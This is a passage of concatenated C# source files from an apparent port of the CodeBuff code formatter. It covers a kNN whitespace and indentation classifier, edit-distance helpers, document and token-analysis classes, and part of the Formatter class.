KED = needs to be platform independent // StringBuilder buf = new StringBuilder(); // for (int sp=1; sp<=n; sp++) buf.append("\n"); // return buf.toString(); } public static string sequence(int n, string s) { StringBuilder buf = new StringBuilder(); for (int sp = 1; sp <= n; sp++) { buf.Append(s); } return buf.ToString(); } public static int count(string s, char x) { int n = 0; for (int i = 0; i < s.Length; i++) { if (s[i] == x) { n++; } } return n; } public static string expandTabs(string s, int tabSize) { if (string.ReferenceEquals(s, null)) { return null; } StringBuilder buf = new StringBuilder(); int col = 0; for (int i = 0; i < s.Length; i++) { char c = s[i]; switch (c) { case '\n' : col = 0; buf.Append(c); break; case '\t' : int n = tabSize - col % tabSize; col += n; buf.Append(spaces(n)); break; default : col++; buf.Append(c); break; } } return buf.ToString(); } public static string dumpWhiteSpace(string s) { string[] whiteSpaces = new string[s.Length]; for (int i = 0; i < s.Length; i++) { char c = s[i]; switch (c) { case '\n' : whiteSpaces[i] = "\\n"; break; case '\t' : whiteSpaces[i] = "\\t"; break; case '\r' : whiteSpaces[i] = "\\r"; break; case '\u000C' : whiteSpaces[i] = "\\u000C"; break; case ' ' : whiteSpaces[i] = "ws"; break; default : whiteSpaces[i] = c.ToString(); break; } } return join(whiteSpaces, " | "); } } }<file_sep>using System.Threading; namespace org.antlr.codebuff { using ANTLRFileStream = Antlr4.Runtime.AntlrFileStream; using CommonTokenStream = Antlr4.Runtime.CommonTokenStream; public class ProfileJava { //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: //ORIGINAL LINE: public static void main(String[] args) throws Exception public static void Main(string[] args) { Thread.Sleep(10000); ANTLRFileStream input = new ANTLRFileStream(args[0]); JavaLexer lexer = new JavaLexer(input); CommonTokenStream tokens = new CommonTokenStream(lexer); JavaParser parser = new JavaParser(tokens); JavaParser.CompilationUnitContext tree = parser.compilationUnit(); // System.out.println(tree.toStringTree(parser)); Thread.Sleep(10000); } } }<file_sep>using System; using System.Diagnostics; using System.Collections.Generic; using System.Linq; using System.Text; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; using org.antlr.codebuff.validation; namespace org.antlr.codebuff { //using HashBag = org.antlr.codebuff.misc.HashBag; using MutableDouble = org.antlr.codebuff.misc.MutableDouble; //using FeatureVectorAsObject = org.antlr.codebuff.validation.FeatureVectorAsObject; //using Pair = Antlr4.Runtime.Misc.Pair; /* It would appear the context information provides the strongest evidence for injecting a new line or not. The column number and even the width of the next statement or expression does not help and in fact probably confuses the issue. Looking at the histograms of both column and earliest ancestor with, I find that they overlap almost always. The sum of the two elements also overlapped heavily. It's possible that using the two values as coordinates would yield separability but it didn't look like it from a scan of the data. Using just context information provides amazingly polarized decisions. All but a few were 100% for or against. The closest decision was 11 against and 18 for injecting a newline at context where 'return'his current token: ')' '{' 23 'return', statement 49 Identifier There were k (29) exact context matches, but 62% of the time a new line was used. It was this case that I looked at for column or with information as the distinguishing characteristic, but it didn't seem to help. I bumped that to k=201 for all ST4 source (like 41000 records) and I get 60 against, 141 for a newline (70%). We can try more context but weight the significance of misses close to current token more heavily than tokens farther away. */ /// <summary> /// A kNN (k-Nearest Neighbor) classifier </summary> public class kNNClassifier { protected internal readonly Corpus corpus; protected internal readonly FeatureMetaData[] FEATURES; protected internal IList<int> Y; protected internal readonly int maxDistanceCount; public bool dumpVotes = false; public IDictionary<FeatureVectorAsObject, int?> classifyCache = new Dictionary<FeatureVectorAsObject, int?>(); public static int nClassifyCalls = 0; public static int nClassifyCacheHits = 0; public IDictionary<FeatureVectorAsObject, Neighbor[]> neighborCache = new Dictionary<FeatureVectorAsObject, Neighbor[]>(); public static int nNNCalls = 0; public static int nNNCacheHits = 0; public kNNClassifier(Corpus corpus, FeatureMetaData[] FEATURES, IList<int> Y) { this.corpus = corpus; this.FEATURES = FEATURES; Debug.Assert(FEATURES.Length <= Trainer.NUM_FEATURES); int n = 0; foreach (FeatureMetaData FEATURE in FEATURES) { n += (int)FEATURE.mismatchCost; } maxDistanceCount = n; this.Y = Y; } public virtual void resetCache() { classifyCache.Clear(); neighborCache.Clear(); nClassifyCacheHits = 0; nClassifyCalls = 0; nClassifyCacheHits = 0; nNNCalls = 0; nNNCacheHits = 0; } public virtual int classify(int k, int[] unknown, double distanceThreshold) { FeatureVectorAsObject key = new FeatureVectorAsObject(unknown, FEATURES); int? catI = null; classifyCache.TryGetValue(key, out catI); nClassifyCalls++; if (catI != null) { nClassifyCacheHits++; return catI.Value; } Neighbor[] kNN = this.kNN(unknown, k, distanceThreshold); IDictionary<int, MutableDouble> similarities = getCategoryToSimilarityMap(kNN, k, Y); int cat = getCategoryWithMaxValue(similarities); if (cat == -1) { // try with less strict match threshold to get some indication of alignment kNN = this.kNN(unknown, k, org.antlr.codebuff.Trainer.MAX_CONTEXT_DIFF_THRESHOLD2); similarities = getCategoryToSimilarityMap(kNN, k, Y); cat = getCategoryWithMaxValue(similarities); } classifyCache[key] = cat; return cat; } public static int getCategoryWithMostVotes(HashBag<int> votes) { int max = int.MinValue; int catWithMostVotes = 0; foreach (int category in votes.Keys) { int? i = votes.get(category); int ii = i ?? default(int); if (i > max) { max = ii; catWithMostVotes = category; } } return catWithMostVotes; } public virtual HashBag<int> votes(int k, int[] unknown, IList<int> Y, double distanceThreshold) { Neighbor[] kNN = this.kNN(unknown, k, distanceThreshold); return getVotesBag(kNN, k, unknown, Y); } public virtual HashBag<int> getVotesBag(Neighbor[] kNN, int k, int[] unknown, IList<int> Y) { HashBag<int> votes = new HashBag<int>(); for (int i = 0; i < k && i < kNN.Length; i++) { votes.add(Y[kNN[i].corpusVectorIndex]); } if (dumpVotes && kNN.Length > 0) { Log.Write(Trainer.featureNameHeader(FEATURES)); InputDocument firstDoc = corpus.documentsPerExemplar[kNN[0].corpusVectorIndex]; // pick any neighbor to get parser Log.WriteLine(Trainer._toString(FEATURES, firstDoc, unknown) + "->" + votes); int size = Math.Min(k, kNN.Length); kNN = kNN.Take(Math.Min(k, kNN.Length)).ToArray(); StringBuilder buf = new StringBuilder(); foreach (Neighbor n in kNN) { buf.Append(n.ToString(FEATURES, Y)); buf.Append("\n"); } Log.WriteLine(buf.ToString()); } return votes; } // get category similarity (1.0-distance) so we can weight votes. Just add up similarity. // I.e., weight votes with similarity 1 (distances of 0) more than votes with lower similarity // If we have 2 votes of distance 0.2 and 1 vote of distance 0, it means // we have 2 votes of similarity .8 and 1 of similarity of 1, 1.6 vs 6. // The votes still outweigh the similarity in this case. For a tie, however, // the weights will matter. public virtual IDictionary<int, MutableDouble> getCategoryToSimilarityMap(Neighbor[] kNN, int k, IList<int> Y) { IDictionary<int, MutableDouble> catSimilarities = new Dictionary<int, MutableDouble>(); for (int i = 0; i < k && i < kNN.Length; i++) { int y = Y[kNN[i].corpusVectorIndex]; MutableDouble d = null; catSimilarities.TryGetValue(y, out d); if (d == null) { d = new MutableDouble(0.0); catSimilarities[y] = d; } double emphasizedDistance = Math.Pow(kNN[i].distance, 1.0 / 3); // cube root d.add(1.0 - emphasizedDistance); } return catSimilarities; } public virtual int getCategoryWithMaxValue(IDictionary<int, MutableDouble> catSimilarities) { double max = int.MinValue; int catWithMaxSimilarity = -1; foreach (int category in catSimilarities.Keys) { MutableDouble mutableDouble = null; catSimilarities.TryGetValue(category, out mutableDouble); if (mutableDouble.d > max) { max = mutableDouble.d; catWithMaxSimilarity = category; } } return catWithMaxSimilarity; } public virtual string getPredictionAnalysis(InputDocument doc, int k, int[] unknown, IList<int> Y, double distanceThreshold) { FeatureVectorAsObject key = new FeatureVectorAsObject(unknown, FEATURES); Neighbor[] kNN = null; neighborCache.TryGetValue(key, out kNN); nNNCalls++; if (kNN == null) { kNN = this.kNN(unknown, k, distanceThreshold); neighborCache[key] = kNN; } else { nNNCacheHits++; } IDictionary<int, MutableDouble> similarities = getCategoryToSimilarityMap(kNN, k, Y); int cat = getCategoryWithMaxValue(similarities); if (cat == -1) { // try with less strict match threshold to get some indication of alignment kNN = this.kNN(unknown, k, org.antlr.codebuff.Trainer.MAX_CONTEXT_DIFF_THRESHOLD2); similarities = getCategoryToSimilarityMap(kNN, k, Y); cat = getCategoryWithMaxValue(similarities); } string displayCat; int c = cat & 0xFF; if (c == org.antlr.codebuff.Trainer.CAT_INJECT_NL || c == org.antlr.codebuff.Trainer.CAT_INJECT_WS) { displayCat = Formatter.getWSCategoryStr(cat); } else { displayCat = Formatter.getHPosCategoryStr(cat); } displayCat = !string.ReferenceEquals(displayCat, null) ? displayCat : "none"; StringBuilder buf = new StringBuilder(); buf.Append(Trainer.featureNameHeader(FEATURES)); buf.Append(Trainer._toString(FEATURES, doc, unknown) + "->" + similarities + " predicts " + displayCat); buf.Append("\n"); if (kNN.Length > 0) { kNN = kNN.Take(Math.Min(k, kNN.Length)).ToArray(); foreach (Neighbor n in kNN) { buf.Append(n.ToString(FEATURES, Y)); buf.Append("\n"); } } return buf.ToString(); } public virtual Neighbor[] kNN(int[] unknown, int k, double distanceThreshold) { Neighbor[] distances = this.distances(unknown, k, distanceThreshold); Array.Sort(distances, (Neighbor o1, Neighbor o2) => o1.distance.CompareTo(o2.distance)); return distances.Take(Math.Min(k, distances.Length)).ToArray(); } public virtual Neighbor[] distances(int[] unknown, int k, double distanceThreshold) { int curTokenRuleIndex = unknown[Trainer.INDEX_PREV_EARLIEST_RIGHT_ANCESTOR]; int prevTokenRuleIndex = unknown[Trainer.INDEX_EARLIEST_LEFT_ANCESTOR]; int pr = Trainer.unrulealt(prevTokenRuleIndex)[0]; int cr = Trainer.unrulealt(curTokenRuleIndex)[0]; MyHashSet<int> vectorIndexesMatchingContext = null; // look for exact match and take result even if < k results. If we have exact matches they always win let's say if (FEATURES == org.antlr.codebuff.Trainer.FEATURES_INJECT_WS) { vectorIndexesMatchingContext = null; corpus.wsFeaturesToExemplarIndexes.TryGetValue( new FeatureVectorAsObject(unknown, FEATURES), out vectorIndexesMatchingContext); } else if (FEATURES == org.antlr.codebuff.Trainer.FEATURES_HPOS) { vectorIndexesMatchingContext = null; corpus.hposFeaturesToExemplarIndexes.TryGetValue( new FeatureVectorAsObject(unknown, FEATURES), out vectorIndexesMatchingContext); } // else might be specialized feature set for testing so ignore these caches in that case if (FEATURES == org.antlr.codebuff.Trainer.FEATURES_INJECT_WS && (vectorIndexesMatchingContext == null || vectorIndexesMatchingContext.Count <= 3)) // must have at 4 or more dist=0.0 for WS else we search wider - can't use this cache if we are testing out different feature sets { // ok, not exact. look for match with prev and current rule index org.antlr.codebuff.misc.Pair<int, int> key = new org.antlr.codebuff.misc.Pair<int, int>(pr, cr); vectorIndexesMatchingContext = null; corpus.curAndPrevTokenRuleIndexToExemplarIndexes.TryGetValue(key, out vectorIndexesMatchingContext); } if (FEATURES == org.antlr.codebuff.Trainer.FEATURES_HPOS && (vectorIndexesMatchingContext == null || vectorIndexesMatchingContext.Count < k)) { // ok, not exact. look for match with prev and current rule index org.antlr.codebuff.misc.Pair<int, int> key = new org.antlr.codebuff.misc.Pair<int, int>(pr, cr); vectorIndexesMatchingContext = null; corpus.curAndPrevTokenRuleIndexToExemplarIndexes.TryGetValue(key, out vectorIndexesMatchingContext); } if (distanceThreshold == org.antlr.codebuff.Trainer.MAX_CONTEXT_DIFF_THRESHOLD2) { // couldn't find anything, open it all up. vectorIndexesMatchingContext = null; } IList<Neighbor> distances = new List<Neighbor>(); if (vectorIndexesMatchingContext == null) { // no matching contexts for this feature, must rely on full training set int n = corpus.featureVectors.Count; // num training samples int num0 = 0; // how many 0-distance elements have we seen? If k we can stop! for (int i = 0; i < n; i++) { int[] x = corpus.featureVectors[i]; double d = distance(x, unknown); if (d <= distanceThreshold) { Neighbor neighbor = new Neighbor(corpus, d, i); distances.Add(neighbor); if (d == 0.0) { num0++; if (num0 == k) { break; } } } } } else { int num0 = 0; // how many 0-distance elements have we seen? If k we can stop! foreach (int vectorIndex in vectorIndexesMatchingContext) { int[] x = corpus.featureVectors[vectorIndex]; double d = distance(x, unknown); if (d <= distanceThreshold) { Neighbor neighbor = new Neighbor(corpus, d, vectorIndex); distances.Add(neighbor); if (d == 0.0) { num0++; if (num0 == k) { break; } } } } } return distances.ToArray(); } /// <summary> /// Compute distance as a probability of match, based /// solely on context information. /// <para> /// Ratio of num differences / num total context positions. /// </para> /// </summary> public virtual double distance(int[] A, int[] B) { // return ((float)Tool.L0_Distance(categorical, A, B))/num_categorical; double d = Tool.weightedL0_Distance(FEATURES, A, B); return d / maxDistanceCount; } } }<file_sep>using System.Collections.Generic; using System.Linq; namespace org.antlr.codebuff { using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using Parser = Antlr4.Runtime.Parser; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; public class InputDocument { public LangDescriptor language; public string fileName; public string content; public IList<string> lines; // used for debugging; a cache of lines in this.content public int index; public ParserRuleContext tree; public IDictionary<Token, TerminalNode> tokenToNodeMap = null; public Parser parser; public CodeBuffTokenStream tokens; public static InputDocument dup(InputDocument old) { if (!string.IsNullOrEmpty(old.fileName)) // reparse to get new tokens, tree return Tool.parse(old.fileName, old.language); else return Tool.parse(old.fileName, Tool.unformatted_input, old.language); } public InputDocument(string fileName, string content, LangDescriptor language) { this.content = content; this.fileName = fileName; this.language = language; } public virtual string getLine(int line) { if (lines == null) { string[] v = content.Split('\n'); lines = v.ToList(); } if (line > 0) { return lines[line-1]; } return null; } public virtual ParserRuleContext Tree { set { this.tree = value; if (value != null) { tokenToNodeMap = Trainer.indexTree(value); } } } public override string ToString() { return fileName + "[" + content.Length + "]" + "@" + index; } } }<file_sep>using Antlr4.Runtime; using System; using System.Collections.Generic; using System.Text; namespace org.antlr.codebuff { using ANTLRFileStream = Antlr4.Runtime.AntlrFileStream; //using GUIController = org.antlr.codebuff.gui.GUIController; using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using CommonToken = Antlr4.Runtime.CommonToken; using CommonTokenStream = Antlr4.Runtime.CommonTokenStream; using Token = Antlr4.Runtime.IToken; //using Pair = org.antlr.v4.runtime.misc.Pair; //using Triple = org.antlr.v4.runtime.misc.Triple; /// <summary> /// Grammar must have WS/comments on hidden channel /// /// Testing: /// /// Dbg -antlr corpus/antlr4/training grammars/org/antlr/codebuff/tsql.g4 /// Dbg -antlr corpus/antlr4/training corpus/antlr4/training/MASM.g4 /// Dbg -quorum corpus/quorum/training corpus/quorum/training/Containers/List.quorum /// Dbg -sqlite corpus/sqlclean/training corpus/sqlclean/training/dmart_bits.sql /// Dbg -tsql corpus/sqlclean/training corpus/sqlclean/training/dmart_bits_PSQLRPT24.sql /// Dbg -java_st corpus/java/training/stringtemplate4/org/stringtemplate/v4/StringRenderer.java /// Dbg -java_guava corpus/java/training/guava/base/Absent.java /// </summary> public class Dbg { /// <summary> /// from https://en.wikipedia.org/wiki/Levenshtein_distance /// "It is always at least the difference of the sizes of the two strings." /// "It is at most the length of the longer string." /// </summary> public static float normalizedLevenshteinDistance(string s, string t) { float d = levenshteinDistance(s, t); int max = Math.Max(s.Length, t.Length); return d / (float)max; } public static float levenshteinDistance(string s, string t) { // degenerate cases if (s.Equals(t)) { return 0; } if (s.Length == 0) { return t.Length; } if (t.Length == 0) { return s.Length; } // create two work vectors of integer distances int[] v0 = new int[t.Length + 1]; int[] v1 = new int[t.Length + 1]; // initialize v0 (the previous row of distances) // this row is A[0][i]: edit distance for an empty s // the distance is just the number of characters to delete from t for (int i = 0; i < v0.Length; i++) { v0[i] = i; } for (int i = 0; i < s.Length; i++) { // calculate v1 (current row distances) from the previous row v0 // first element of v1 is A[i+1][0] // edit distance is delete (i+1) chars from s to match empty t v1[0] = i + 1; // use formula to fill in the rest of the row for (int j = 0; j < t.Length; j++) { int cost = s[i] == t[j] ? 0 : 1; v1[j + 1] = Math.Min(Math.Min(v1[j] + 1, v0[j + 1] + 1), v0[j] + cost); } // copy v1 (current row) to v0 (previous row) for next iteration Array.Copy(v1, 0, v0, 0, v0.Length); } int d = v1[t.Length]; return d; } /* Compare whitespace and give an approximate Levenshtein distance / edit distance. MUCH faster to use this than pure Levenshtein which must consider all of the "real" text that is in common. when only 1 kind of char, just substract lengths Orig Altered Distance AB A B 1 AB A B 2 AB A B 3 A B A B 1 A B AB 1 A B AB 2 A B AB 3 when ' ' and '\n', we count separately. A\nB A B spaces delta=1, newline delete=1, distance = 2 A\nB A B spaces delta=2, newline delete=1, distance = 3 A\n\nB A B spaces delta=1, newline delete=2, distance = 3 A\n \nB A B spaces delta=0, newline delete=2, distance = 2 A\n \nB A\nB spaces delta=1, newline delete=1, distance = 2 A \nB A\n B spaces delta=0, newline delete=0, distance = 0 levenshtein would count this as 2 I think but for our doc distance, I think it's ok to measure as same */ // public static int editDistance(String s, String t) { // } /* A \nB A\n B spaces delta=0, newline delete=0, distance = 0 levenshtein would count this as 2 I think but for our doc distance, I think it's ok to measure as same */ /* KED. Note, this is not platform independent. Every platform has a different * line termination protocol. \n alone does not work! */ public static int whitespaceEditDistance(string s, string t) { int s_spaces = Tool.count(s, ' '); int s_nls = Tool.count(s, '\n'); int t_spaces = Tool.count(t, ' '); int t_nls = Tool.count(t, '\n'); return Math.Abs(s_spaces - t_spaces) + Math.Abs(s_nls - t_nls); } /// <summary> /// Compute a document difference metric 0-1.0 between two documents that /// are identical other than (likely) the whitespace and comments. /// /// 1.0 means the docs are maximally different and 0 means docs are identical. /// /// The Levenshtein distance between the docs counts only /// whitespace diffs as the non-WS content is identical. /// Levenshtein distance is bounded by 0..max(len(doc1),len(doc2)) so /// we normalize the distance by dividing by max WS count. /// /// TODO: can we simplify this to a simple walk with two /// cursors through the original vs formatted counting /// mismatched whitespace? real text are like anchors. /// </summary> //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: //ORIGINAL LINE: public static double docDiff(String original, String formatted, Class lexerClass) throws Exception public static double docDiff(string original, string formatted, Type lexerClass) { // Grammar must strip all but real tokens and whitespace (and put that on hidden channel) CodeBuffTokenStream original_tokens = Tool.tokenize(original, lexerClass); // String s = original_tokens.getText(); CodeBuffTokenStream formatted_tokens = Tool.tokenize(formatted, lexerClass); // String t = formatted_tokens.getText(); // walk token streams and examine whitespace in between tokens int i = -1; int ws_distance = 0; int original_ws = 0; int formatted_ws = 0; while (true) { Token ot = original_tokens.LT(i); // TODO: FIX THIS! can't use LT() if (ot == null || ot.Type == TokenConstants.EOF) { break; } IList<Token> ows = original_tokens.GetHiddenTokensToLeft(ot.TokenIndex); original_ws += tokenText(ows).Length; Token ft = formatted_tokens.LT(i); // TODO: FIX THIS! can't use LT() if (ft == null || ft.Type == TokenConstants.EOF) { break; } IList<Token> fws = formatted_tokens.GetHiddenTokensToLeft(ft.TokenIndex); formatted_ws += tokenText(fws).Length; ws_distance += whitespaceEditDistance(tokenText(ows), tokenText(fws)); i++; } // it's probably ok to ignore ws diffs after last real token int max_ws = Math.Max(original_ws, formatted_ws); double normalized_ws_distance = ((float) ws_distance) / max_ws; return normalized_ws_distance; } /// <summary> /// Compare an input document's original text with its formatted output /// and return the ratio of the incorrectWhiteSpaceCount to total whitespace /// count in the original document text. It is a measure of document /// similarity. /// </summary> // public static double compare(InputDocument doc, // String formatted, // Class<? extends Lexer> lexerClass) // throws Exception { // } public static string tokenText(IList<Token> tokens) { return tokenText(tokens, null); } public static string tokenText(IList<Token> tokens, string separator) { if (tokens == null) { return ""; } StringBuilder buf = new StringBuilder(); bool first = true; foreach (Token t in tokens) { if (!string.ReferenceEquals(separator, null) && !first) { buf.Append(separator); } buf.Append(t.Text); first = false; } return buf.ToString(); } public static void printOriginalFilePiece(InputDocument doc, CommonToken originalCurToken) { Log.WriteLine(doc.getLine(originalCurToken.Line-1)); Log.WriteLine(doc.getLine(originalCurToken.Line)); Log.Write(Tool.spaces(originalCurToken.Column)); Log.WriteLine("^"); } public class Foo { public static void Main(string[] args) { } } } }<file_sep>namespace org.antlr.codebuff.validation { using Token = Antlr4.Runtime.IToken; public class TokenPositionAnalysis { public Token t; // token from the input stream; it's position will usually differ from charIndexStart etc... public int charIndexStart; // where in *output* buffer the associated token starts; used to respond to clicks in formatted text public int charIndexStop; // stop index (inclusive) public int wsPrediction; // predicted category, '\n' or ' ' public int alignPrediction; // predicted category, align/indent if ws indicates newline public int actualWS; // actual category, '\n' or ' ' public int actualAlign; // actual category public string wsAnalysis = "n/a"; public string alignAnalysis = "n/a"; public TokenPositionAnalysis(Token t, int wsPrediction, string wsAnalysis, int alignPrediction, string alignAnalysis) { this.t = t; this.wsPrediction = wsPrediction; this.wsAnalysis = wsAnalysis; this.alignPrediction = alignPrediction; this.alignAnalysis = alignAnalysis; } } }<file_sep>using System; using System.Collections.Generic; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { //using Triple = Antlr4.Runtime.Misc.Triple; public class FormatANTLR4 { public static void Main(string[] args) { } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using Antlr4.Runtime; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace org.antlr.codebuff { using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using TokenPositionAnalysis = org.antlr.codebuff.validation.TokenPositionAnalysis; using IdentifyOversizeLists = org.antlr.codebuff.walkers.IdentifyOversizeLists; using CommonToken = Antlr4.Runtime.CommonToken; using CommonTokenStream = Antlr4.Runtime.CommonTokenStream; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; using WritableToken = Antlr4.Runtime.IWritableToken; using Interval = Antlr4.Runtime.Misc.Interval; //using Pair = org.antlr.v4.runtime.misc.Pair; using ParseTree = Antlr4.Runtime.Tree.IParseTree; using ParseTreeWalker = Antlr4.Runtime.Tree.ParseTreeWalker; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; public class Formatter { public const int DEFAULT_K = 11; public Corpus corpus; public StringBuilder output; public CodeBuffTokenStream originalTokens; // copy of tokens with line/col info public IList<Token> realTokens; // just the real tokens from tokens /// <summary> /// A map from real token to node in the parse tree </summary> public IDictionary<Token, TerminalNode> tokenToNodeMap = null; public IDictionary<Token, TerminalNode> originalTokenToNodeMap = null; // for debugging purposes only /// <summary> /// analysis[i] is info about what we decided for token index i from /// original stream (not index into real token list) /// </summary> public List<TokenPositionAnalysis> analysis; /// <summary> /// Collected for formatting (not training) by SplitOversizeLists. /// Training finds split lists and normal lists. This uses list len /// (in char units) to decide split or not. If size is closest to split median, /// we claim oversize list. /// </summary> public IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo; public kNNClassifier wsClassifier; public kNNClassifier hposClassifier; public int k; public FeatureMetaData[] wsFeatures = Trainer.FEATURES_INJECT_WS; public FeatureMetaData[] hposFeatures = Trainer.FEATURES_HPOS; public InputDocument originalDoc; // used only for debugging public InputDocument testDoc; public int indentSize; // size in spaces of an indentation public int line = 1; public int charPosInLine = 0; public Formatter(Corpus corpus, int indentSize, int k, FeatureMetaData[] wsFeatures, FeatureMetaData[] hposFeatures) : this(corpus, indentSize) { this.k = k; this.wsFeatures = wsFeatures; this.hposFeatures = hposFeatures; } public Formatter(Corpus corpus, int indentSize) { this.corpus = corpus; // k = (int)Math.sqrt(corpus.X.size()); k = DEFAULT_K; this.indentSize = indentSize; } public virtual string Output { get { return output.ToString(); } } public virtual IList<TokenPositionAnalysis> AnalysisPerToken { get { return analysis; } } /// <summary> /// Free anything we can to reduce memory footprint after a format(). /// keep analysis, testDoc as they are used for results. /// </summary> public virtual void releaseMemory() { corpus = null; realTokens = null; originalTokens = null; tokenToNodeMap = null; originalTokenToNodeMap = null; tokenToListInfo = null; wsClassifier = null; hposClassifier = null; } /// <summary> /// Format the document. Does not affect/alter doc. </summary> public virtual string format(InputDocument doc, bool collectAnalysis) { if (testDoc != null) { throw new System.ArgumentException("can't call format > once"); } // for debugging we need a map from original token with actual line:col to tree node. used by token analysis originalDoc = doc; originalTokenToNodeMap = Trainer.indexTree(doc.tree); originalTokens = doc.tokens; this.testDoc = InputDocument.dup(doc); // make copy of doc, getting new tokens, tree output = new StringBuilder(); this.realTokens = Trainer.getRealTokens(testDoc.tokens); // squeeze out ws and kill any line/col info so we can't use ground truth by mistake wipeCharPositionInfoAndWhitespaceTokens(testDoc.tokens); // all except for first token wsClassifier = new kNNClassifier(corpus, wsFeatures, corpus.injectWhitespace); hposClassifier = new kNNClassifier(corpus, hposFeatures, corpus.hpos); analysis = new ArrayList<TokenPositionAnalysis>(testDoc.tokens.Size); for (int i = 0; i < testDoc.tokens.Size; ++i) analysis.Add(null); // make an index on the duplicated doc tree with tokens missing line:col info if (tokenToNodeMap == null) { tokenToNodeMap = Trainer.indexTree(testDoc.tree); } IToken firstToken = testDoc.tokens.getNextRealToken(-1); string prefix = originalTokens.GetText(Interval.Of(0, firstToken.TokenIndex)); // gets any comments in front + first real token charPosInLine = firstToken.Column + firstToken.Text.Length + 1; // start where first token left off line = Tool.count(prefix, '\n') + 1; output.Append(prefix); // first identify oversize lists with separators IdentifyOversizeLists splitter = new IdentifyOversizeLists(corpus, testDoc.tokens, tokenToNodeMap); ParseTreeWalker.Default.Walk(splitter, testDoc.tree); tokenToListInfo = splitter.tokenToListInfo; realTokens = Trainer.getRealTokens(testDoc.tokens); for (int i = Trainer.ANALYSIS_START_TOKEN_INDEX; i < realTokens.Count; i++) { // can't process first token int tokenIndexInStream = realTokens[i].TokenIndex; processToken(i, tokenIndexInStream, collectAnalysis); } releaseMemory(); return output.ToString(); } public virtual float WSEditDistance { get { Regex rex = new Regex("^\\s+$"); IList<Token> wsTokens = BuffUtils.filter(originalTokens.GetTokens(), t => rex.IsMatch(t.Text)); // only count whitespace string originalWS = Dbg.tokenText(wsTokens); string formattedOutput = Output; CommonTokenStream formatted_tokens = Tool.tokenize(formattedOutput, corpus.language.lexerClass); wsTokens = BuffUtils.filter(formatted_tokens.GetTokens(), t => rex.IsMatch(t.Text)); string formattedWS = Dbg.tokenText(wsTokens); float editDistance = Dbg.normalizedLevenshteinDistance(originalWS, formattedWS); return editDistance; } } public virtual void processToken(int indexIntoRealTokens, int tokenIndexInStream, bool collectAnalysis) { CommonToken curToken = (CommonToken)testDoc.tokens.Get(tokenIndexInStream); string tokText = curToken.Text; TerminalNode node = tokenToNodeMap[curToken]; int[] features = getFeatures(testDoc, tokenIndexInStream); int[] featuresForAlign = new int[features.Length]; Array.Copy(features, 0, featuresForAlign, 0, features.Length); int injectNL_WS = wsClassifier.classify(k, features, Trainer.MAX_WS_CONTEXT_DIFF_THRESHOLD); injectNL_WS = emitCommentsToTheLeft(tokenIndexInStream, injectNL_WS); int newlines = 0; int ws = 0; if ((injectNL_WS & 0xFF) == Trainer.CAT_INJECT_NL) { newlines = Trainer.unnlcat(injectNL_WS); } else if ((injectNL_WS & 0xFF) == Trainer.CAT_INJECT_WS) { ws = Trainer.unwscat(injectNL_WS); } if (newlines == 0 && ws == 0 && cannotJoin(realTokens[indexIntoRealTokens - 1], curToken)) { // failsafe! ws = 1; } int alignOrIndent = Trainer.CAT_ALIGN; if (newlines > 0) { output.Append(Tool.newlines(newlines)); line += newlines; charPosInLine = 0; // getFeatures() doesn't know what line curToken is on. If \n, we need to find exemplars that start a line featuresForAlign[Trainer.INDEX_FIRST_ON_LINE] = 1; // use \n prediction to match exemplars for alignment alignOrIndent = hposClassifier.classify(k, featuresForAlign, Trainer.MAX_ALIGN_CONTEXT_DIFF_THRESHOLD); if ((alignOrIndent & 0xFF) == Trainer.CAT_ALIGN_WITH_ANCESTOR_CHILD) { align(alignOrIndent, node); } else if ((alignOrIndent & 0xFF) == Trainer.CAT_INDENT_FROM_ANCESTOR_CHILD) { indent(alignOrIndent, node); } else if ((alignOrIndent & 0xFF) == Trainer.CAT_ALIGN) { IList<Token> tokensOnPreviousLine = Trainer.getTokensOnPreviousLine(testDoc.tokens, tokenIndexInStream, line); if (tokensOnPreviousLine.Count > 0) { Token firstTokenOnPrevLine = tokensOnPreviousLine[0]; int indentCol = firstTokenOnPrevLine.Column; charPosInLine = indentCol; output.Append(Tool.spaces(indentCol)); } } else if ((alignOrIndent & 0xFF) == Trainer.CAT_INDENT) { indent(alignOrIndent, node); } } else { // inject whitespace instead of \n? output.Append(Tool.spaces(ws)); charPosInLine += ws; } // update Token object with position information now that we are about // to emit it. curToken.Line = line; curToken.Column = charPosInLine; TokenPositionAnalysis tokenPositionAnalysis = getTokenAnalysis(features, featuresForAlign, tokenIndexInStream, injectNL_WS, alignOrIndent, collectAnalysis); analysis[tokenIndexInStream] = tokenPositionAnalysis; int n = tokText.Length; tokenPositionAnalysis.charIndexStart = output.Length; tokenPositionAnalysis.charIndexStop = tokenPositionAnalysis.charIndexStart + n - 1; // emit output.Append(tokText); charPosInLine += n; } public virtual void indent(int indentCat, TerminalNode node) { int tokenIndexInStream = node.Symbol.TokenIndex; IList<Token> tokensOnPreviousLine = Trainer.getTokensOnPreviousLine(testDoc.tokens, tokenIndexInStream, line); Token firstTokenOnPrevLine = null; if (tokensOnPreviousLine.Count > 0) { firstTokenOnPrevLine = tokensOnPreviousLine[0]; } if (indentCat == Trainer.CAT_INDENT) { if (firstTokenOnPrevLine != null) { // if not on first line, we cannot indent int indentedCol = firstTokenOnPrevLine.Column + indentSize; charPosInLine = indentedCol; output.Append(Tool.spaces(indentedCol)); } else { // no prev token? ok, just indent from left edge charPosInLine = indentSize; output.Append(Tool.spaces(indentSize)); } return; } int[] deltaChild = Trainer.unindentcat(indentCat); int deltaFromAncestor = deltaChild[0]; int childIndex = deltaChild[1]; 